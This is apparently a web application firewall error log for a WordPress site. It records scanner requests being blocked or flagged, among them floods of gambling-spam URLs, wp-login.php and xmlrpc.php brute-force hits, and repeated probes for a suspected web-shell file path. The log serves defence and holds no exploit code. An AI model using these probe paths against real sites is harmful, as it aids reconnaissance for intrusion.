[Mon Mar 30 20:59:04.560268 2026] [:error] [pid 11947:tid 11973] [client 51.161.86.195:40236] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "acpzmDSVtzzXIgk-FgmGHgAAAhg"]
[Mon Mar 30 20:59:06.278572 2026] [:error] [pid 12046:tid 12059] [client 51.161.86.195:51132] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "acpzmpDbtlkoJ6ELn7gk0wAAAko"]
[Mon Mar 30 20:59:09.481922 2026] [:error] [pid 35343:tid 35348] [client 51.161.86.195:51142] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "acpznaP5HurqmbvwN-I2FAAAAAM"]
[Mon Mar 30 20:59:10.341580 2026] [:error] [pid 12046:tid 12071] [client 51.161.86.195:51154] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20168.aspx"] [unique_id "acpznpDbtlkoJ6ELn7gk1AAAAlY"]
[Mon Mar 30 20:59:13.718576 2026] [:error] [pid 11947:tid 11964] [client 51.161.86.195:51168] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "acpzoTSVtzzXIgk-FgmGfwAAAg8"]
[Mon Mar 30 20:59:16.012715 2026] [:error] [pid 11947:tid 11966] [client 51.161.86.195:51182] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "acpzpDSVtzzXIgk-FgmGjAAAAhE"]
[Mon Mar 30 20:59:16.928833 2026] [:error] [pid 35248:tid 35272] [client 51.161.86.195:33164] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "acpzpL3igMCgAQPFS_-upwAAAFI"]
[Mon Mar 30 20:59:19.322742 2026] [:error] [pid 50663:tid 50689] [client 51.161.86.195:33172] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "acpzp228b9DKIAMEdfBI5gAAAZg"]
[Mon Mar 30 20:59:22.894418 2026] [:error] [pid 50663:tid 50686] [client 51.161.86.195:33186] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20slot.aspx"] [unique_id "acpzqm28b9DKIAMEdfBI-QAAAZU"]
[Mon Mar 30 20:59:23.757675 2026] [:error] [pid 50663:tid 50670] [client 51.161.86.195:33200] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "acpzq228b9DKIAMEdfBJAQAAAYU"]
[Mon Mar 30 20:59:25.803548 2026] [:error] [pid 35343:tid 35358] [client 51.161.86.195:33202] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "acpzraP5HurqmbvwN-I2FwAAAA0"]
[Mon Mar 30 20:59:28.863322 2026] [:error] [pid 35249:tid 35305] [client 51.161.86.195:38190] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "acpzsCqCKiTq85d6rgBchQAAAJU"]
[Mon Mar 30 20:59:29.657910 2026] [:error] [pid 11947:tid 11964] [client 51.161.86.195:38200] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "acpzsTSVtzzXIgk-FgmGngAAAg8"]
[Mon Mar 30 21:00:03.046514 2026] [:error] [pid 11947:tid 11960] [client 51.161.86.195:38202] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "acpz0zSVtzzXIgk-FgmG_QAAAgs"]
[Mon Mar 30 21:00:04.977328 2026] [:error] [pid 11947:tid 11970] [client 51.161.86.195:38216] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "acpz1DSVtzzXIgk-FgmHAQAAAhU"]
[Mon Mar 30 21:00:06.299353 2026] [:error] [pid 12046:tid 12050] [client 51.161.86.195:58076] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "acpz1pDbtlkoJ6ELn7gk4wAAAkE"]
[Mon Mar 30 21:00:08.225323 2026] [:error] [pid 11947:tid 11966] [client 51.161.86.195:58080] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "acpz2DSVtzzXIgk-FgmHKAAAAhE"]
[Mon Mar 30 21:00:10.370447 2026] [:error] [pid 35250:tid 35313] [client 51.161.86.195:58088] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "acpz2oaKM1MR6zcp2YN85QAAAMI"]
[Mon Mar 30 21:00:12.431136 2026] [:error] [pid 41941:tid 41943] [client 51.161.86.195:58104] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "acpz3CB2g7BNCXGBOJOBbwAAAQA"]
[Mon Mar 30 21:00:15.000632 2026] [:error] [pid 35248:tid 35274] [client 51.161.86.195:58114] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "acpz3r3igMCgAQPFS_-uxQAAAFQ"]
[Mon Mar 30 21:00:16.403054 2026] [:error] [pid 41941:tid 41966] [client 51.161.86.195:58130] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "acpz4CB2g7BNCXGBOJOBdAAAARc"]
[Mon Mar 30 21:00:19.662731 2026] [:error] [pid 50663:tid 50675] [client 51.161.86.195:44030] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w69%20slot.aspx"] [unique_id "acpz4228b9DKIAMEdfBJagAAAYo"]
[Mon Mar 30 21:00:23.354573 2026] [:error] [pid 35250:tid 35315] [client 51.161.86.195:44046] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "acpz54aKM1MR6zcp2YN89QAAAMQ"]
[Mon Mar 30 21:00:24.429191 2026] [:error] [pid 41941:tid 41949] [client 51.161.86.195:44058] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "acpz6CB2g7BNCXGBOJOBeQAAAQY"]
[Mon Mar 30 21:00:27.151449 2026] [:error] [pid 35248:tid 35277] [client 51.161.86.195:38020] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "acpz673igMCgAQPFS_-u4QAAAFc"]
[Mon Mar 30 21:00:27.780685 2026] [:error] [pid 35250:tid 35334] [client 51.161.86.195:38036] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we88%20slot.aspx"] [unique_id "acpz64aKM1MR6zcp2YN8_QAAANc"]
[Mon Mar 30 21:00:31.222303 2026] [:error] [pid 50663:tid 50673] [client 51.161.86.195:38052] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "acpz7228b9DKIAMEdfBJewAAAYg"]
[Mon Mar 30 21:00:31.585412 2026] [:error] [pid 41941:tid 41965] [client 51.161.86.195:38060] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/robots.txt"] [unique_id "acpz7yB2g7BNCXGBOJOBgAAAARY"]
[Mon Mar 30 21:00:31.783280 2026] [:error] [pid 41941:tid 41954] [client 51.161.86.195:38074] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "acpz7yB2g7BNCXGBOJOBgQAAAQs"]
[Mon Mar 30 21:00:34.201687 2026] [:error] [pid 35249:tid 35287] [client 51.161.86.195:38084] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo%20slot.aspx"] [unique_id "acpz8iqCKiTq85d6rgBckwAAAIM"]
[Mon Mar 30 21:00:35.436363 2026] [:error] [pid 11947:tid 11959] [client 51.161.86.195:38086] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "acpz8zSVtzzXIgk-FgmHhwAAAgo"]
[Mon Mar 30 21:00:36.747881 2026] [:error] [pid 50663:tid 50681] [client 51.161.86.195:34134] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/robots.txt"] [unique_id "acpz9G28b9DKIAMEdfBJhQAAAZA"]
[Mon Mar 30 21:00:37.340027 2026] [:error] [pid 50663:tid 50673] [client 51.161.86.195:34150] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "acpz9W28b9DKIAMEdfBJiAAAAYg"]
[Mon Mar 30 21:00:39.050650 2026] [:error] [pid 35248:tid 35256] [client 51.161.86.195:34164] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "acpz973igMCgAQPFS_-u7gAAAEI"]
[Mon Mar 30 21:00:42.467578 2026] [:error] [pid 35248:tid 35271] [client 51.161.86.195:34172] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "acpz-r3igMCgAQPFS_-u9gAAAFE"]
[Mon Mar 30 21:00:44.973334 2026] [:error] [pid 35343:tid 35349] [client 51.161.86.195:34182] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "acpz_KP5HurqmbvwN-I2SQAAAAQ"]
[Mon Mar 30 21:00:47.615354 2026] [:error] [pid 11947:tid 11950] [client 51.161.86.195:60276] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "acpz_zSVtzzXIgk-FgmIGwAAAgE"]
[Mon Mar 30 21:00:50.097947 2026] [:error] [pid 35343:tid 35363] [client 51.161.86.195:60282] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "acp0AqP5HurqmbvwN-I2SwAAABI"]
[Mon Mar 30 21:00:53.887598 2026] [:error] [pid 11947:tid 11960] [client 51.161.86.195:60298] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w69%20slot.aspx"] [unique_id "acp0BTSVtzzXIgk-FgmILwAAAgs"]
[Mon Mar 30 21:00:56.520462 2026] [:error] [pid 11947:tid 11970] [client 51.161.86.195:47650] [client 51.161.86.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "acp0CDSVtzzXIgk-FgmIOAAAAhU"]
[Mon Mar 30 23:49:40.255018 2026] [:error] [pid 60745:tid 60763] [client 43.166.136.153:50944] [client 43.166.136.153] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "acqblCQDBn75QnHaPb9bEQAAAE4"]
[Tue Mar 31 00:20:03.358286 2026] [:error] [pid 31577:tid 31592] [client 106.119.167.146:53957] [client 106.119.167.146] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "acqis3OcPMUnrUQjB4Jb2AAAAY0"]
[Tue Mar 31 02:44:26.411150 2026] [:error] [pid 36672:tid 36825] [client 74.7.243.218:54286] [client 74.7.243.218] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 74.7.243.218, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "acrEirKHDzEfeL3XiLpdqAAAAFI"], referer: https://vetstars.com.au/
[Tue Mar 31 03:56:13.217403 2026] [:error] [pid 18439:tid 18453] [client 15.204.12.43:64255] [client 15.204.12.43] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/composer.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/cidaas-pro-master/composer.json"] [unique_id "acrVXS-R9nOaA8Xqs7iAQAAAAMI"]
[Tue Mar 31 06:29:26.530333 2026] [:error] [pid 18333:tid 18389] [client 185.117.225.236:47190] [client 185.117.225.236] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.117.225.236, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "acr5RkSx2C5hLR0-8dIQIwAAAEo"]
[Tue Mar 31 06:29:36.802808 2026] [:error] [pid 18334:tid 18419] [client 185.117.225.236:50642] [client 185.117.225.236] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.117.225.236, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "acr5UHqQrXLbk1cg3mheSwAAAI0"]
[Tue Mar 31 06:35:25.345753 2026] [:error] [pid 11786:tid 11799] [client 43.140.247.223:36806] [client 43.140.247.223] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "acr6rU-ANHwuqDZumRDcAQAAAUs"]
[Tue Mar 31 08:19:05.494790 2026] [:error] [pid 36892:tid 36962] [client 98.71.65.172:64327] [client 98.71.65.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "acsS-Uyj9S4G0ek3O4LBbwAAAIs"]
[Tue Mar 31 08:19:05.995777 2026] [:error] [pid 36892:tid 36964] [client 98.71.65.172:43601] [client 98.71.65.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "acsS-Uyj9S4G0ek3O4LBcQAAAI0"]
[Tue Mar 31 08:19:06.496968 2026] [:error] [pid 36982:tid 37004] [client 98.71.65.172:39999] [client 98.71.65.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "acsS-vlMmeoQKN0r_GNs1AAAANM"]
[Tue Mar 31 08:19:07.022516 2026] [:error] [pid 36890:tid 36903] [client 98.71.65.172:39995] [client 98.71.65.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "acsS-58FASPd_uH8z7c7XgAAAAg"]
[Tue Mar 31 10:09:29.857315 2026] [:error] [pid 36982:tid 36988] [client 43.165.67.57:36864] [client 43.165.67.57] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "acss2flMmeoQKN0r_GO-gAAAAMM"]
[Tue Mar 31 10:37:11.845329 2026] [:error] [pid 36890:tid 36917] [client 158.158.51.236:35223] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-blog-header.php"] [unique_id "acszV58FASPd_uH8z7dz3AAAABY"]
[Tue Mar 31 10:37:12.520314 2026] [:error] [pid 36982:tid 37001] [client 158.158.51.236:4776] [client 158.158.51.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-blog-header.php"] [unique_id "acszWPlMmeoQKN0r_GPZewAAANA"]
